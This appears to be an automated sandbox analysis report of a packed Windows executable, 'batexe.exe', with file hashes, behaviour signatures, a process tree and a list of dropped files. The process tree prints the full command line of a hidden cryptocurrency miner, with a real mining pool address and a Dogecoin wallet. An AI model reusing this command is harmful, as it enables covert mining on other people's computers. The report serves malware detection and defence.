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Analysis

  • max time kernel
    294s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    22/02/2024, 04:13

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:904
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5BBC.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3768
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2424

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe

    Filesize

    21.8MB

    MD5

    f5a737ec55c364581207143630eee729

    SHA1

    b27236dee6d89726426f9da3915dbd8897dc0459

    SHA256

    8585057f2c1159809ee4ce396258babe51092b11534e9908f95d58c3dea01a2c

    SHA512

    291c205d3d05fe1058f7c4e757d2b28cc6cd464252301453cf1dcd27a82cbf4887785a042772776b44bdda466d8ac25be2aa92c5a874a870fe1ba48acb8683e6

  • C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe

    Filesize

    7.7MB

    MD5

    5686510951dd6a21de967e4aae5cdc50

    SHA1

    c085e1a4361e26919e8f82e04ba256e415396503

    SHA256

    85df9f70fe4ba1d12a9d5c4de57597263555c0a4e2c41a7aabfe270c2042b03e

    SHA512

    e0a1a86e1e11139fdc6e4366002ec1469d92f8cf52492ef9323d73d32011e6005b9b8c9e7d1824f5ebac39719cbb51169c5874f8dc223c1e08fce473b759d6df

  • C:\Users\Admin\AppData\Local\Temp\57F3.tmp\b2e.exe

    Filesize

    7.8MB

    MD5

    61372b339a2819a6b5f6eaf59168ea70

    SHA1

    dc21c10ee8c401a017a84ea516015043ad5c7020

    SHA256

    0ed93d677f96cde8eeb970d8ed3ac169976dd7b5aa03052d9a6d99edf22eaec7

    SHA512

    7f461026d6a289ac1cf76c78d0ec6b9d861448b9918270f05f20929a9cc50a6a69a052e651d24a95266e12d0940765e3993a2a28aa61f08f72e7cea84ba73040

  • C:\Users\Admin\AppData\Local\Temp\5BBC.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    704KB

    MD5

    ce5f200d2d48a057722a957d5acc6426

    SHA1

    e7a8d4c0dc7b561dfa26e3fddaff015716187305

    SHA256

    cb450c8c0a952560f35f4b93f14357fc3856ee0b016eabf8bb4d20e9504d82df

    SHA512

    e7d3b203cc96d08b6d000f6845bbeb5777cd08babadbcb86266193ca68d8183973b3a92f5cf587df1f26bf04a182fa51001b7317c9a9e7ba868d1e26b897ee9b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    832KB

    MD5

    43dd8ab1a0fd7f177db516faa81a9635

    SHA1

    66a8b6940797f3396a4f1a6deafca1fda5bffcdd

    SHA256

    d4b58fa7e09511b58f312b57e2067823a7f31ff5cd6369cbf5ef3667c27b60ea

    SHA512

    064753e38fb6e2d64a8ce067a52c24b55eb11cf714a534f3557a0e2bd2f5fba16030d8496c7787f4b272ae6a696f4b017d99771488832d12711a7158c927f772

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    576KB

    MD5

    bfba8ef054be5bee0da072ed080beac4

    SHA1

    090e6e60a6f0f1e351978e91b99e8dce8e63413f

    SHA256

    81f3865864af4f5ae909e3cb60ec0e0fd028e37909315b0e3de8663a34391be4

    SHA512

    85a8d0b74341c10b3563209566415727a1d1503433908c26c3e861592c397a66afe3cc25bcb31119ec64e15fa078db361bc308474de1ec3f1a8c367d37c622b6

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    448KB

    MD5

    19a61444b6e2d01755ede80960bca19c

    SHA1

    e0c7222784d3e2b3329ec3280648b17fd60ef209

    SHA256

    13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

    SHA512

    bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    576KB

    MD5

    46e1c7531774dee6a7125727095ea354

    SHA1

    2248bc2bd821aded068d2e5e55f5e7271b50ab91

    SHA256

    cecc229ea9e416207638b67d03bc6846fa188a14fe1c9e75028afb48ff4e2081

    SHA512

    fa9dc86df3e0a8f7b2579785c03717a43eec14beab8ca3176f73d4ecb0716d047241ab30cd53518e7acd645e9f8282a20552a6fa33824c34afc5c5210cc69f2c

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    512KB

    MD5

    6162b21c54b88c5c990e82aee951ebb4

    SHA1

    477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

    SHA256

    462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

    SHA512

    6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    768KB

    MD5

    613807ad6d525aded318b643c33bc17e

    SHA1

    2c9a4180140838c69c20bc4047c3d2d777d3bee4

    SHA256

    896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

    SHA512

    d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    448KB

    MD5

    ca123cec7f705c0af114e462349dc686

    SHA1

    75f90b4d95f6774b2f66e4ba790755ef118ab222

    SHA256

    7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

    SHA512

    650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    384KB

    MD5

    4cb3a8d3af58faf78da4dd33a03029db

    SHA1

    5356e4fb04a7047f6fc82a4e071e4803f97a0f3d

    SHA256

    86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620

    SHA512

    244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    512KB

    MD5

    5fd46a66845c804b88dcd97ffcd66652

    SHA1

    9556ce5607bdd245c8e4d6a24b8217def653f57b

    SHA256

    b7fd85a2268a4d62fa15fde3d9e51d6fa3bc865cb4d8e5fdca309be7b027f193

    SHA512

    0896697d588401a6d29c30e77574ece4f0ba699b082b1bad93964748313a5903eb4994ec81c61bfcbd75f2be3f5200dadda3fd1454381cc5874a9c8952ebeedc

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    448KB

    MD5

    9d1a04f05f75671a5a3ffeb995176c52

    SHA1

    a45018bb6a5dd52b310c1eb77262354365925a76

    SHA256

    c777e9d786f5d1d13f78a925453804bf53ee430a38f893f115c2d1ac0f2f07ff

    SHA512

    d19ea63c26c1d41edd5947d0c5ae70e2461c876563c2baeb1fd4a3986254f7919f8d4c32a9d6b9f4c51c4d5a23ffa90a2011d293a106a0a8813295b2bee06e1f

  • memory/904-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/904-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2424-47-0x0000000001160000-0x0000000002A15000-memory.dmp

    Filesize

    24.7MB

  • memory/2424-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2424-46-0x0000000066260000-0x00000000662F8000-memory.dmp

    Filesize

    608KB

  • memory/2424-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2424-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2424-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4436-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB